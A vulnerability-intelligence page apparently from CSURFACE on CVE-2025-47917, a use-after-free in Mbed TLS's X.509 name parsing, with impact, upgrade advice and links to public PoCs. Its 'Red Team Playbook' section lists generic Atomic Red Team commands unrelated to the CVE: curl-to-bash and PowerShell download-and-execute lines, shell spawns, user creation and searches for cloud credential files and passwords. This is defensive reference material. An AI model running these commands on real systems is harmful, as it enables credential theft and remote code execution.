CVE-2025-47917
Overview
This vulnerability is a use-after-free condition occurring within the mbedtls_x509_string_to_names() function of the mbedtls library. The root cause lies in the function's undocumented behavior of freeing the memory pointed to by the 'head' argument via mbedtls_asn1_free_named_data_list(), despite the argument being documented as an output pointer without indication of deallocation. This affects the X.509 certificate parsing component of mbedtls prior to version 3.6.4.
Vulnerability Description
Mbed TLS before 3.6.4 allows a use-after-free in certain situations of applications that are developed in accordance with the documentation. The function mbedtls_x509_string_to_names() takes a head argument that is documented as an output argument. The documentation does not suggest that the function will free that pointer; however, the function does call mbedtls_asn1_free_named_data_list() on that argument, which performs a deep free(). As a result, application code that uses this function (relying only on documented behavior) is likely to still hold pointers to the memory blocks that were freed, resulting in a high risk of use-after-free or double-free. In particular, the two sample programs x509/cert_write and x509/cert_req are affected (use-after-free if the san string contains more than one DN).
Impact
An attacker can exploit this vulnerability remotely without authentication by supplying crafted SAN strings containing multiple DNs to trigger use-after-free conditions. This can lead to memory corruption, potentially causing application crashes or arbitrary code execution within the context of the affected process. The vulnerability impacts confidentiality, integrity, and availability as indicated by the CVSS vector (AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:H).
Solution
Users should upgrade mbedtls to version 3.6.4 or later, where the issue is resolved by correcting the handling of the 'head' argument in mbedtls_x509_string_to_names(). Detailed patch instructions and advisory information are available at the official Mbed TLS security advisories page: https://mbed-tls.readthedocs.io/en/latest/tech-updates/security-advisories/ and specifically at https://github.com/Mbed-TLS/mbedtls-docs/blob/main/security-advisories/mbedtls-security-advisory-2025-06-7.md.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Mbed TLS is characterized by a use-after-free condition that arises in specific scenarios when applications are developed according to the provided documentation. The function responsible for this issue, mbedtls_x509_string_to_names(), is designed to handle an output argument referred to as "head." While the documentation does not indicate that this pointer will be freed, the function internally invokes mbedtls_asn1_free_named_data_list(), which performs a deep free operation on the head pointer. Consequently, applications that rely solely on the documented behavior may inadvertently retain references to memory blocks that have already been deallocated, leading to a significant risk of use-after-free or double-free vulnerabilities. This flaw is particularly pronounced in sample programs such as x509/cert_write and x509/cert_req, where the presence of multiple distinguished names (DNs) in the Subject Alternative Name (SAN) string can trigger the issue.
Exploitation of this vulnerability could occur through various attack vectors, particularly in environments where Mbed TLS is utilized for processing X.509 certificates. An attacker could craft malicious input that exploits the use-after-free condition, potentially leading to arbitrary code execution or denial of service. For instance, if an application processes untrusted input, such as a certificate from an external source, an attacker could manipulate the SAN string to include multiple DNs, triggering the vulnerability. This exploitation could allow the attacker to execute arbitrary code in the context of the vulnerable application, thereby compromising the integrity and confidentiality of sensitive data.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Mbed TLS for secure communications. Given the high CVSS score of 9.8, the risk associated with this vulnerability is classified as critical. Businesses that utilize Mbed TLS in their products or services may face severe consequences, including unauthorized access to sensitive information, disruption of services, and potential regulatory penalties. The exploitation of this vulnerability could lead to significant financial losses, reputational damage, and erosion of customer trust, particularly in sectors such as finance, healthcare, and critical infrastructure where security is paramount.
To detect and mitigate the risks associated with this vulnerability, organizations should adopt a multi-faceted approach. First, it is essential to conduct a thorough assessment of all applications utilizing Mbed TLS, particularly those that handle X.509 certificates. Regular code reviews and static analysis can help identify instances where the vulnerable function is used improperly. Additionally, organizations should implement robust security testing practices, including dynamic analysis and fuzz testing, to uncover potential exploitation paths. The most effective mitigation strategy is to upgrade to the latest version of Mbed TLS, which addresses this vulnerability. Organizations should also consider implementing runtime protections, such as memory safety mechanisms and address space layout randomization (ASLR), to further reduce the risk of exploitation.
In conclusion, the use-after-free vulnerability in Mbed TLS presents a critical threat to applications that rely on this library for secure communications. The potential for exploitation through crafted input underscores the importance of adhering to secure coding practices and maintaining up-to-date software. By proactively addressing this vulnerability through detection, mitigation, and timely updates, organizations can significantly reduce their risk exposure and safeguard their systems against potential attacks.
Recent telemetry from CSURFACE threat intelligence indicates a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-47917, nearly doubling to 0.0843. This rise reflects growing confidence in the exploitability of the use-after-free vulnerability within Mbed TLS, corroborated by the continued availability and refinement of proof-of-concept exploits in public repositories. Although the 7-day trend remains stable, the elevated EPSS percentile suggests that threat actors are increasingly prioritizing this vulnerability as a viable attack vector. For defenders, this escalation signals a heightened risk of targeted exploitation attempts, particularly against applications that have not yet adopted the patched Mbed TLS 3.6.4 release. The increased EPSS score underscores the urgency for vigilant monitoring and reinforces the criticality of this vulnerability within the current threat landscape. Consequently, the threat level associated with CVE-2025-47917 should be considered elevated, reflecting a more immediate and tangible exploitation risk than previously assessed.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Arm | Mbed Tls | All |
cpe:2.3:a:arm:mbed_tls:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
ExploitDB (1)
| Title | Author | Type | Platform | Date | Link |
|---|---|---|---|---|---|
| Mbed TLS 3.6.4 - Use-After-Free | Byte Reaper | local | multiple | - | View |
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
byteReaper77/CVE-2025-47917
PoC exploit for CVE-2025-47917: Use-After-Free in mbedTLS leading to remote code execution.
|
byteReaper77 | 1 | 0 | 2025-07-22 | View |
Threat Feed
2 eventsProof-of-concept code is publicly available for this vulnerability
Public exploit code is available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-47917 |
| mbed-tls.readthedocs.io |
GitHub CVE
|
https://mbed-tls.readthedocs.io/en/latest/tech-updates/security-advisories/ |
| github.com |
GitHub CVE
|
https://github.com/Mbed-TLS/mbedtls-docs/blob/main/security-advisories/mbedtls-security-advisory-2025-06-7.md |
| lists.debian.org |
NVD API
|
https://lists.debian.org/debian-lts-announce/2025/08/msg00013.html |
| lists.debian.org |
NVD API
|
https://lists.debian.org/debian-lts-announce/2025/08/msg00025.html |